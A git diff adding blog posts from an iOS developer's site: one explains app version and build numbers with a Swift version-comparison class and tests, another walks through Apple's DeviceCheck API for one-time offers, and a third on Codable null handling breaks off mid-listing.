Apple Watch Case Unboxing Experience (Catalyst & Muvit)

diff --git a/posts/c4d7c2ce5a8d/index.html b/posts/c4d7c2ce5a8d/index.html new file mode 100644 index 0000000000..fa6de44bcb --- /dev/null +++ b/posts/c4d7c2ce5a8d/index.html @@ -0,0 +1,509 @@ + iOS APP Version Numbers Explained | ZhgChgLi
Home iOS APP Version Numbers Explained
Post
Cancel

iOS APP Version Numbers Explained

iOS APP Version Numbers Explained

Version number rules and comparison solutions

Photo by [James Yarema](https://unsplash.com/@jamesyarema?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by James Yarema

Introduction

All iOS APP developers will encounter two numbers, Version Number and Build Number; recently, I had a requirement related to version numbers, to prompt users to rate the APP, and I took the opportunity to explore version numbers; at the end of the article, I will also provide my comprehensive solution for version number comparison.

[XCode Help](https://help.apple.com/xcode/mac/current/#/devba7f53ad4){:target="_blank"}

XCode Help

Semantic Versioning x.y.z

First, let’s introduce the “ Semantic Versioning “ specification, which mainly addresses software dependency and management issues, such as the commonly used Cocoapods; suppose I use Moya 4.0 today, Moya 4.0 uses and depends on Alamofire 2.0.0. If Alamofire is updated, it could be a new feature, a bug fix, or a complete overhaul (incompatible with the old version); without a common consensus on version numbers, it would be chaotic because you wouldn’t know which version is compatible and updatable.

Semantic versioning consists of three parts: x.y.z

  • x: Major version (major): When you make incompatible API changes
  • y: Minor version (minor): When you add functionality in a backward-compatible manner
  • z: Patch version (patch): When you make backward-compatible bug fixes

General rules:

  • Must be non-negative integers
  • No leading zeros
  • 0.y.z indicates the initial development phase and should not be used for official version numbers
  • Increment numerically

Comparison method:

First compare the major version, if the major version is equal, then compare the minor version, if the minor version is equal, then compare the patch version.

ex: 1.0.0 < 2.0.0 < 2.1.0 < 2.1.1

Additionally, you can add “pre-release version information (ex: 1.0.1-alpha)” or “build metadata (ex: 1.0.0-alpha+001)” after the patch version, but iOS APP version numbers do not allow these formats to be uploaded to the App Store, so they will not be elaborated here. For details, refer to “ Semantic Versioning “.

✅: 1.0.1, 1.0.0, 5.6.7 ❌: 01.5.6, a1.2.3, 2.005.6

Practical Use

Regarding practical use in iOS APP version control, since we only use it as a marker for the release APP version and there are no dependency issues with other APPs or software; the actual usage definition is up to each team. The following is just my personal opinion:

  • x: Major version (major): For significant updates (multiple page interface overhauls, major feature launches)
  • y: Minor version (minor): For optimizing and enhancing existing features (adding small features under a major feature)
  • z: Patch version (patch): For fixing bugs in the current version

Generally, the revision number is only changed for emergency fixes (Hot Fix), and under normal circumstances, it remains 0. If a new version is released, it can be reset to 0.

EX: First version release (1.0.0) -> Strengthen the first version’s features (1.1.0) -> Found an issue to fix (1.1.1) -> Found another issue (1.1.2) -> Continue to strengthen the first version’s features (1.2.0) -> Major update (2.0.0) -> Found an issue to fix (2.0.1) … and so on

Version Number vs. Build Number

Version Number (APP Version Number)

  • Used for App Store and external identification
  • Property List Key: CFBundleShortVersionString
  • Content can only consist of numbers and “.”
  • Officially recommended to use semantic versioning x.y.z format
  • 2020121701, 2.0, 2.0.0.1 are all acceptable (A summary of App Store app version naming conventions will be provided below)
  • Cannot exceed 18 characters
  • If the format is incorrect, you can build & run but cannot package and upload to the App Store
  • Can only increment, cannot repeat, cannot decrement

It is generally customary to use semantic versioning x.y.z or x.y.

Build Number

  • Used for internal development process and stage identification, not disclosed to users
  • Used for identification when packaging and uploading to the App Store (the same build number cannot be packaged and uploaded repeatedly)
  • Property List Key: CFBundleVersion
  • Content can only consist of numbers and “.”
  • Officially recommended to use semantic versioning x.y.z format
  • 1, 2020121701, 2.0, 2.0.0.1 are all acceptable
  • Cannot exceed 18 characters
  • If the format is incorrect, you can build & run but cannot package and upload to the App Store
  • Cannot repeat under the same APP version number, but can repeat under different APP version numbers ex: 1.0.0 build: 1.0.0, 1.1.0 build: 1.0.0 ✅

It is generally customary to use dates, numbers (starting from 0 for each new version), and use CI/fastlane to automatically increment the build number during packaging.

A brief survey of the version number formats of apps on the leaderboard, as shown in the image above.

Generally, x.y.z is still the main format.

Version Number Comparison and Judgment

Sometimes we need to use version numbers for judgment, for example: force update if below x.y.z version, prompt for rating if equal to a certain version. In such cases, we need a function to compare two version strings.

Simple Method

1
+2
+3
+4
+5
+
let version = "1.0.0"
+print(version.compare("1.0.0", options: .numeric) == .orderedSame) // true 1.0.0 = 1.0.0
+print(version.compare("1.22.0", options: .numeric) == .orderedAscending) // true 1.0.0 < 1.22.0
+print(version.compare("0.0.9", options: .numeric) == .orderedDescending) // true 1.0.0 > 0.0.9
+print(version.compare("2", options: .numeric) == .orderedAscending) // true 1.0.0 < 2
+

You can also write a String Extension:

1
+2
+3
+4
+5
+
extension String {
+    func versionCompare(_ otherVersion: String) -> ComparisonResult {
+        return self.compare(otherVersion, options: .numeric)
+    }
+}
+

⚠️ However, note that if the formats are different, the judgment will be incorrect:

1
+2
+
let version = "1.0.0"
+version.compare("1", options: .numeric) //.orderedDescending
+

In reality, we know 1 == 1.0.0, but using this method will result in .orderedDescending; you can refer to this article for padding with 0 before comparing; under normal circumstances, once we decide on an APP version format, it should not change. If using x.y.z, stick with x.y.z, do not switch between x.y.z and x.y.

Complex Method

Can directly use the existing wheel: mrackwitz/Version Below is the recreation of the wheel.

The complex method here follows the semantic versioning x.y.z as the format specification, using Regex for string parsing and implementing comparison operators by ourselves. In addition to the basic =/>/≥/< /≤, we also implemented the ~> operator (same as the Cocoapods version specification method) and support static input.

The definition of the ~> operator is:

Greater than or equal to this version but less than this version’s (previous level version number +1)

1
+2
+3
+4
+
EX:
+~> 1.2.1: (1.2.1 <= version < 1.3) 1.2.3,1.2.4...
+~> 1.2: (1.2 <= version < 2) 1.3,1.4,1.5,1.3.2,1.4.1...
+~> 1: (1 <= version < 2) 1.1.2,1.2.3,1.5.9,1.9.0...
+
  1. First, we need to define the Version object:
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+
@objcMembers
+class Version: NSObject {
+    private(set) var major: Int
+    private(set) var minor: Int
+    private(set) var patch: Int
+
+    override var description: String {
+        return "\(self.major),\(self.minor),\(self.patch)"
+    }
+
+    init(_ major: Int, _ minor: Int, _ patch: Int) {
+        self.major = major
+        self.minor = minor
+        self.patch = patch
+    }
+
+    init(_ string: String) throws {
+        let result = try Version.parse(string: string)
+        self.major = result.version.major
+        self.minor = result.version.minor
+        self.patch = result.version.patch
+    }
+
+    static func parse(string: String) throws -> VersionParseResult {
+        let regex = "^(?:(>=|>|<=|<|~>|=|!=){1}\\s*)?(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)$"
+        let result = string.groupInMatches(regex)
+
+        if result.count == 4 {
+            //start with operator...
+            let versionOperator = VersionOperator(string: result[0])
+            guard versionOperator != .unSupported else {
+                throw VersionUnSupported()
+            }
+            let major = Int(result[1]) ?? 0
+            let minor = Int(result[2]) ?? 0
+            let patch = Int(result[3]) ?? 0
+            return VersionParseResult(versionOperator, Version(major, minor, patch))
+        } else if result.count == 3 {
+            //unSpecified operator...
+            let major = Int(result[0]) ?? 0
+            let minor = Int(result[1]) ?? 0
+            let patch = Int(result[2]) ?? 0
+            return VersionParseResult(.unSpecified, Version(major, minor, patch))
+        } else {
+            throw VersionUnSupported()
+        }
+    }
+}
+
+//Supported Objects
+@objc class VersionUnSupported: NSObject, Error { }
+
+@objc enum VersionOperator: Int {
+    case equal
+    case notEqual
+    case higherThan
+    case lowerThan
+    case lowerThanOrEqual
+    case higherThanOrEqual
+    case optimistic
+
+    case unSpecified
+    case unSupported
+
+    init(string: String) {
+        switch string {
+        case ">":
+            self = .higherThan
+        case "<":
+            self = .lowerThan
+        case "<=":
+            self = .lowerThanOrEqual
+        case ">=":
+            self = .higherThanOrEqual
+        case "~>":
+            self = .optimistic
+        case "=":
+            self = .equal
+        case "!=":
+            self = .notEqual
+        default:
+            self = .unSupported
+        }
+    }
+}
+
+@objcMembers
+class VersionParseResult: NSObject {
+    var versionOperator: VersionOperator
+    var version: Version
+    init(_ versionOperator: VersionOperator, _ version: Version) {
+        self.versionOperator = versionOperator
+        self.version = version
+    }
+}
+

You can see that Version is a storage for major, minor, and patch, and the parsing method is written as static for external calls. It can accept formats like 1.0.0 or ≥1.0.1, making it convenient for string parsing and configuration file parsing.

1
+2
+
Input: 1.0.0 => Output: .unSpecified, Version(1.0.0)
+Input: ≥ 1.0.1 => Output: .higherThanOrEqual, Version(1.0.0)
+

The Regex is modified based on the Regex provided in the “Semantic Versioning Specification”:

1
+
^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$
+

*Considering the project is mixed with Objective-C, it should be usable in OC as well, so everything is declared as @objcMembers, and compromises are made to use OC-compatible syntax.

(Actually, you can directly use VersionOperator with enum: String, and Result with tuple/struct)

*If the implemented object is derived from NSObject, remember to implement != when implementing Comparable/Equatable ==, as the original NSObject’s != operation will not yield the expected result.

2. Implement Comparable methods:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+
extension Version: Comparable {
+    static func < (lhs: Version, rhs: Version) -> Bool {
+        if lhs.major < rhs.major {
+            return true
+        } else if lhs.major == rhs.major {
+            if lhs.minor < rhs.minor {
+                return true
+            } else if lhs.minor == rhs.minor {
+                if lhs.patch < rhs.patch {
+                    return true
+                }
+            }
+        }
+
+        return false
+    }
+
+    static func == (lhs: Version, rhs: Version) -> Bool {
+        return lhs.major == rhs.major && lhs.minor == rhs.minor && lhs.patch == rhs.patch
+    }
+
+    static func != (lhs: Version, rhs: Version) -> Bool {
+        return !(lhs == rhs)
+    }
+
+    static func ~> (lhs: Version, rhs: Version) -> Bool {
+        let start = Version(lhs.major, lhs.minor, lhs.patch)
+        let end = Version(lhs.major, lhs.minor, lhs.patch)
+
+        if end.patch >= 0 {
+            end.minor += 1
+            end.patch = 0
+        } else if end.minor > 0 {
+            end.major += 1
+            end.minor = 0
+        } else {
+            end.major += 1
+        }
+        return start <= rhs && rhs < end
+    }
+
+    func compareWith(_ version: Version, operator: VersionOperator) -> Bool {
+        switch `operator` {
+        case .equal, .unSpecified:
+            return self == version
+        case .notEqual:
+            return self != version
+        case .higherThan:
+            return self > version
+        case .lowerThan:
+            return self < version
+        case .lowerThanOrEqual:
+            return self <= version
+        case .higherThanOrEqual:
+            return self >= version
+        case .optimistic:
+            return self ~> version
+        case .unSupported:
+            return false
+        }
+    }
+}
+

It is actually implementing the judgment logic described earlier, and finally opening a compareWith method for easy external input of the parsing results to get the final judgment.

Usage Example:

1
+2
+3
+4
+5
+6
+7
+8
+
let shouldAskUserFeedbackVersion = ">= 2.0.0"
+let currentVersion = "3.0.0"
+do {
+  let result = try Version.parse(shouldAskUserFeedbackVersion)
+  result.version.comparWith(currentVersion, result.operator) // true
+} catch {
+  print("version string parse error!")
+}
+

Or…

1
+
Version(1,0,0) >= Version(0,0,9) //true...
+

Supports >/≥/</≤/=/!=/~> operators.

Next Step

Test cases…

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+
import XCTest
+
+class VersionTests: XCTestCase {
+    func testHigher() throws {
+        let version = Version(3, 12, 1)
+        XCTAssertEqual(version > Version(2, 100, 120), true)
+        XCTAssertEqual(version > Version(3, 12, 0), true)
+        XCTAssertEqual(version > Version(3, 10, 0), true)
+        XCTAssertEqual(version >= Version(3, 12, 1), true)
+
+        XCTAssertEqual(version > Version(3, 12, 1), false)
+        XCTAssertEqual(version > Version(3, 12, 2), false)
+        XCTAssertEqual(version > Version(4, 0, 0), false)
+        XCTAssertEqual(version > Version(3, 13, 1), false)
+    }
+
+    func testLower() throws {
+        let version = Version(3, 12, 1)
+        XCTAssertEqual(version < Version(2, 100, 120), false)
+        XCTAssertEqual(version < Version(3, 12, 0), false)
+        XCTAssertEqual(version < Version(3, 10, 0), false)
+        XCTAssertEqual(version <= Version(3, 12, 1), true)
+
+        XCTAssertEqual(version < Version(3, 12, 1), false)
+        XCTAssertEqual(version < Version(3, 12, 2), true)
+        XCTAssertEqual(version < Version(4, 0, 0), true)
+        XCTAssertEqual(version < Version(3, 13, 1), true)
+    }
+
+    func testEqual() throws {
+        let version = Version(3, 12, 1)
+        XCTAssertEqual(version == Version(3, 12, 1), true)
+        XCTAssertEqual(version == Version(3, 12, 21), false)
+        XCTAssertEqual(version != Version(3, 12, 1), false)
+        XCTAssertEqual(version != Version(3, 12, 2), true)
+    }
+
+    func testOptimistic() throws {
+        let version = Version(3, 12, 1)
+        XCTAssertEqual(version ~> Version(3, 12, 1), true) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 12, 9), true) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 13, 0), false) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 11, 1), false) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 13, 1), false) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(2, 13, 0), false) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 11, 100), false) //3.12.1 <= $0 < 3.13.0
+    }
+
+    func testVersionParse() throws {
+        let unSpecifiedVersion = try? Version.parse(string: "1.2.3")
+        XCTAssertNotNil(unSpecifiedVersion)
+        XCTAssertEqual(unSpecifiedVersion!.version == Version(1, 2, 3), true)
+        XCTAssertEqual(unSpecifiedVersion!.versionOperator, .unSpecified)
+
+        let optimisticVersion = try? Version.parse(string: "~> 1.2.3")
+        XCTAssertNotNil(optimisticVersion)
+        XCTAssertEqual(optimisticVersion!.version == Version(1, 2, 3), true)
+        XCTAssertEqual(optimisticVersion!.versionOperator, .optimistic)
+
+        let higherThanVersion = try? Version.parse(string: "> 1.2.3")
+        XCTAssertNotNil(higherThanVersion)
+        XCTAssertEqual(higherThanVersion!.version == Version(1, 2, 3), true)
+        XCTAssertEqual(higherThanVersion!.versionOperator, .higherThan)
+
+        XCTAssertThrowsError(try Version.parse(string: "!! 1.2.3")) { error in
+            XCTAssertEqual(error is VersionUnSupported, true)
+        }
+    }
+}
+

Currently planning to further optimize Version, adjust performance tests, organize packaging, and then run through the process of creating my own cocoapods.

However, there is already a very complete Version handling Pod project, so there is no need to reinvent the wheel. I just want to streamline the creation process XD.

Maybe I will also submit a PR for the existing wheel to implement ~>.

References:

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Apple Watch Original Stainless Steel Milanese Loop Unboxing

AVPlayer Real-time Cache Implementation

diff --git a/posts/c5e7e580c341/index.html b/posts/c5e7e580c341/index.html new file mode 100644 index 0000000000..3e1813befb --- /dev/null +++ b/posts/c5e7e580c341/index.html @@ -0,0 +1,319 @@ + Perfect Implementation of One-Time Offers or Trials in iOS (Swift) | ZhgChgLi
Home Perfect Implementation of One-Time Offers or Trials in iOS (Swift)
Post
Cancel

Perfect Implementation of One-Time Offers or Trials in iOS (Swift)

Perfect Implementation of One-Time Offers or Trials in iOS (Swift)

iOS DeviceCheck follows you everywhere

While writing the previous Call Directory Extension, I accidentally discovered this obscure API. Although it’s not something new (announced at WWDC 2017/iOS ≥11 support) and the implementation is very simple, I still did a little research and testing and organized this article as a record.

What can DeviceCheck do?

Allows developers to identify and mark the user’s device

Since iOS ≥ 6, developers cannot obtain the unique identifier (UUID) of the user’s device. The compromise is to use IDFV combined with KeyChain (for details, refer to this article), but in situations like changing iCloud accounts or resetting the phone, the UUID will still reset. It cannot guarantee the uniqueness of the device. If used for storing and judging some business logic, such as the first free trial, users might exploit the loophole by constantly changing accounts or resetting the phone to get unlimited trials.

Although DeviceCheck cannot provide a UUID that will never change, it can “store” information. Each device is given 2 bits of cloud storage space by Apple. By sending a temporary identification token generated by the device to Apple, you can write/read the 2 bits of information.

2 bits? What can be stored?

Only four states can be combined, so the functionality is limited.

Comparison with original storage methods:

✓ Indicates data is still there

✓ Indicates data is still there

p.s. I sacrificed my own phone for actual testing, and the results matched. Even if I logged out and changed iCloud, cleared all data, restored all settings, and returned to the factory initial state, I could still retrieve the value after reinstalling the app.

Main operation process:

The iOS app generates a temporary token for device identification through the DeviceCheck API, sends it to the backend, which then combines the developer’s private key information and developer information into JWT format and sends it to the Apple server. The backend processes the result returned by Apple and sends it back to the iOS app.

Application of DeviceCheck

Here is a screenshot of DeviceCheck from WWDC2017:

Since each device can only store 2 bits of information, the possible applications are limited to what the official mentions, such as whether the device has been trialed, paid, or blacklisted, etc., and only one can be implemented.

Support: iOS ≥ 11

Let’s start!

After understanding the basic information, let’s get started!

iOS APP side:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
import DeviceCheck
+//....
+//
+DCDevice.current.generateToken { dataOrNil, errorOrNil in
+  guard let data = dataOrNil else { return }
+  let deviceToken = data.base64EncodedString()
+            
+   //...
+   //POST deviceToken to the backend, let the backend query the Apple server, and then return the result to the app for processing
+}
+

As described in the process, the app only needs to obtain the temporary identification token (deviceToken)!

Next, send the deviceToken to our backend API for processing.

Backend:

The key part is the backend processing

1. First, log in to the Developer Console Note down the Team ID

2. Then click on the sidebar Certificates, IDs & Profiles to go to the certificate management platform

Select "Keys" -> "All" -> Top right corner "+"

Select “Keys” -> “All” -> Top right corner “+”

Step 1. Create a new Key, check "DeviceCheck"

Step 1. Create a new Key, check “DeviceCheck”

Step 2. "Confirm"

Step 2. “Confirm”

Finished.

Finished.

After completing the last step, note down the Key ID and click “Download” to download the privateKey.p8 private key file.

At this point, you have all the necessary information for push notifications:

  1. Team ID
  2. Key ID
  3. privateKey.p8

3. Combine according to Apple’s JWT (JSON Web Token) format

Algorithm: ES256

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
//HEADER:
+{
+  "alg": "ES256",
+  "kid": Key ID
+}
+//PAYLOAD:
+{
+  "iss": Team ID,
+  "iat": request timestamp (Unix Timestamp, EX: 1556549164),
+  "exp": expiration timestamp (Unix Timestamp, EX: 1557000000)
+}
+//Timestamps must be in integer format!
+

Get the combined JWT string: xxxxxx.xxxxxx.xxxxxx

4. Send the data to the Apple server & get the return result

Like APNS push notifications, there are separate environments for development and production:

  1. Development environment: api.development.devicecheck.apple.com (For some reason, my development environment requests always fail)
  2. Production environment: api.devicecheck.apple.com

DeviceCheck API provides two operations: 1. Query stored data: https://api.devicecheck.apple.com/v1/query_two_bits

1
+2
+3
+4
+5
+6
+7
+
//Headers:
+Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (combined JWT string)
+
+//Content:
+device_token: deviceToken (the device token to query)
+transaction_id: UUID().uuidString (query identifier, using UUID here)
+timestamp: request timestamp (milliseconds), note! This is in milliseconds (EX: 1556549164000)
+

Return status:

[Official Documentation](https://developer.apple.com/documentation/devicecheck/accessing_and_modifying_per-device_data){:target="_blank"}

Official Documentation

Return Content:

1
+2
+3
+4
+5
+
{
+  "bit0": Int: The first bit of the 2 bits data: 0 or 1,
+  "bit1": Int: The second bit of the 2 bits data: 0 or 1,
+  "last_update_time": String: "Last update time YYYY-MM"
+}
+

p.s. You read it right, the last update time can only be displayed up to year-month

2. Write Storage Data: https://api.devicecheck.apple.com/v1/update_two_bits

1
+2
+3
+4
+5
+6
+7
+8
+9
+
//Headers:
+Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (combined JWT string)
+
+//Content:
+device_token:deviceToken (Device Token to query)
+transaction_id:UUID().uuidString (Query identifier, here directly represented by UUID)
+timestamp: Request timestamp (milliseconds), note! This is in milliseconds (EX: 1556549164000)
+bit0: The first bit of the 2 bits data: 0 or 1
+bit1: The second bit of the 2 bits data: 0 or 1
+

5. Get Apple Server Return Result

Return Status:

[Official Documentation](https://developer.apple.com/documentation/devicecheck/accessing_and_modifying_per-device_data){:target="_blank"}

Official Documentation

Return Content: None, return status 200 indicates a successful write!

6. Backend API Returns Result to APP

The APP responds to the corresponding status and it’s done!

Backend Supplement:

It’s been a long time since I touched PHP, if interested, please refer to iOS11で追加されたDeviceCheckについて for the requestToken.php part

Swift Version Demo:

Since I can’t provide backend implementation and not everyone knows PHP, here is a pure iOS (Swift) example that handles backend tasks (generating JWT, sending data to Apple) directly in the APP for reference!

You can simulate all content without writing backend code.

⚠ Please note for testing and demonstration purposes only, not recommended for production environment

Special thanks to Ethan Huang for providing CupertinoJWT which supports generating JWT content within the iOS APP!

Main Demo Code and Interface:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+
import UIKit
+import DeviceCheck
+import CupertinoJWT
+
+extension String {
+    var queryEncode: String {
+        return self.addingPercentEncoding(withAllowedCharacters: .whitespacesAndNewlines)?.replacingOccurrences(of: "+", with: "%2B") ?? ""
+    }
+}
+class ViewController: UIViewController {
+
+    @IBOutlet weak var getBtn: UIButton!
+    @IBOutlet weak var statusBtn: UIButton!
+    @IBAction func getBtnClick(_ sender: Any) {
+        DCDevice.current.generateToken { dataOrNil, errorOrNil in
+            guard let data = dataOrNil else { return }
+            
+            let deviceToken = data.base64EncodedString()
+            
+            //In a real situation:
+            //POST deviceToken to backend, let backend query Apple server, then return the result to the APP
+            
+            //!!!!!! The following is for testing and demonstration purposes only, not recommended for production environment!!!!!!
+            //!!!!!! Do not expose your PRIVATE KEY casually!!!!!!
+                let p8 = """
+                    -----BEGIN PRIVATE KEY-----
+                    -----END PRIVATE KEY-----
+                    """
+                let keyID = "" //Your KEY ID
+                let teamID = "" //Your Developer Team ID: https://developer.apple.com/account/#/membership
+            
+                let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60)
+            
+                do {
+                    let token = try jwt.sign(with: p8)
+                    var request = URLRequest(url: URL(string: "https://api.devicecheck.apple.com/v1/update_two_bits")!)
+                    request.httpMethod = "POST"
+                    request.addValue("Bearer \(token)", forHTTPHeaderField: "Authorization")
+                    request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type")
+                    let json: [String: Any] = ["device_token": deviceToken, "transaction_id": UUID().uuidString, "timestamp": Int(Date().timeIntervalSince1970.rounded()) * 1000, "bit0": true, "bit1": false]
+                    request.httpBody = try? JSONSerialization.data(withJSONObject: json)
+                    
+                    let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
+                        guard let data = data else {
+                            return
+                        }
+                        print(String(data: data, encoding: String.Encoding.utf8))
+                        DispatchQueue.main.async {
+                            self.getBtn.isHidden = true
+                            self.statusBtn.isSelected = true
+                        }
+                    }
+                    task.resume()
+                } catch {
+                    // Handle error
+                }
+            //!!!!!! The above is for testing and demonstration purposes only, not recommended for production environment!!!!!!
+            //
+        }
+    }
+    
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        DCDevice.current.generateToken { dataOrNil, errorOrNil in
+            guard let data = dataOrNil else { return }
+            
+            let deviceToken = data.base64EncodedString()
+            
+            //In a real situation:
+                //POST deviceToken to backend, let backend query Apple server, then return the result to the APP
+            
+            //!!!!!! The following is for testing and demonstration purposes only, not recommended for production environment!!!!!!
+            //!!!!!! Do not expose your PRIVATE KEY casually!!!!!!
+                let p8 = """
+                -----BEGIN PRIVATE KEY-----
+                
+                -----END PRIVATE KEY-----
+                """
+                let keyID = "" //Your KEY ID
+                let teamID = "" //Your Developer Team ID: https://developer.apple.com/account/#/membership
+            
+                let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60)
+            
+                do {
+                    let token = try jwt.sign(with: p8)
+                    var request = URLRequest(url: URL(string: "https://api.devicecheck.apple.com/v1/query_two_bits")!)
+                    request.httpMethod = "POST"
+                    request.addValue("Bearer \(token)", forHTTPHeaderField: "Authorization")
+                    request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type")
+                    let json: [String: Any] = ["device_token": deviceToken, "transaction_id": UUID().uuidString, "timestamp": Int(Date().timeIntervalSince1970.rounded()) * 1000]
+                    request.httpBody = try? JSONSerialization.data(withJSONObject: json)
+                    
+                    let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
+                        guard let data = data, let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String: Any], let status = json["bit0"] as? Int else {
+                            return
+                        }
+                        print(json)
+                        
+                        if status == 1 {
+                            DispatchQueue.main.async {
+                                self.getBtn.isHidden = true
+                                self.statusBtn.isSelected = true
+                            }
+                        }
+                    }
+                    task.resume()
+                } catch {
+                    // Handle error
+                }
+            //!!!!!! The above is for testing and demonstration purposes only, not recommended for production environment!!!!!!
+            //
+        }
+        // Do any additional setup after loading the view.
+    }
+}
+

Screenshot

Screenshot

This is a one-time discount claim, each device can only claim once!

Complete project download:

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Identify Your Own Calls (Swift)

AirPods 2 Unboxing and Hands-On Experience

diff --git a/posts/cb00b1977537/index.html b/posts/cb00b1977537/index.html new file mode 100644 index 0000000000..4a964544bb --- /dev/null +++ b/posts/cb00b1977537/index.html @@ -0,0 +1,337 @@ + Real-World Codable Decoding Issues (Part 2) | ZhgChgLi
Home Real-World Codable Decoding Issues (Part 2)
Post
Cancel

Real-World Codable Decoding Issues (Part 2)

Real-World Codable Decoding Issues (Part 2)

Handling Response Null Fields Reasonably, No Need to Always Rewrite init decoder

Photo by [Zan](https://unsplash.com/@zanilic?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Zan

Introduction

Following the previous article “Real-World Codable Decoding Issues”, as development progresses, new scenarios and problems have emerged. Hence, this part continues to document the encountered situations and research insights for future reference.

The previous part mainly solved the JSON String -> Entity Object Decodable Mapping. Once we have the Entity Object, we can convert it into a Model Object for use within the program, View Model Object for handling data display logic, etc. On the other hand, we need to convert the Entity into NSManagedObject to store it in local Core Data.

Main Issue

Assume our song Entity structure is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
struct Song: Decodable {
+    var id: Int
+    var name: String?
+    var file: String?
+    var coverImage: String?
+    var likeCount: Int?
+    var like: Bool?
+    var length: Int?
+}
+

Since the API EndPoint may not always return complete data fields (only id is guaranteed), all fields except id are Optional. For example, when fetching song information, a complete structure is returned, but when liking a song, only the id, likeCount, and like fields related to the change are returned.

We hope that whatever fields the API Response contains can be stored in Core Data. If the data already exists, update the changed fields (incremental update).

But here lies the problem: After Codable Decoding into an Entity Object, we cannot distinguish between “the data field is intended to be set to nil” and “the Response did not provide it”

1
+2
+3
+4
+5
+
A Response:
+{
+  "id": 1,
+  "file": null
+}
+

For A Response and B Response, the file is null, but the meanings are different; A intends to set the file field to null (clear the original data), while B intends to update other data and simply did not provide the file field.

A developer in the Swift community proposed adding a null Strategy similar to date Strategy in JSONDecoder, allowing us to distinguish the above situations, but there are currently no plans to include it.

Solution

As mentioned earlier, our architecture is JSON String -> Entity Object -> NSManagedObject, so when we get the Entity Object, it is already the result after decoding, and there is no raw data to operate on; of course, we can use the original JSON String for comparison, but it would be better not to use Codable in that case.

First, refer to the previous article to use Associated Value Enum as a container to hold values.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
enum OptionalValue<T: Decodable>: Decodable {
+    case null
+    case value(T)
+    init(from decoder: Decoder) throws {
+        let container = try decoder.singleValueContainer()
+        if let value = try? container.decode(T.self) {
+            self = .value(value)
+        } else {
+            self = .null
+        }
+    }
+}
+

Using generics, T is the actual data field type; .value(T) can hold the decoded value, and .null represents that the value is null.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
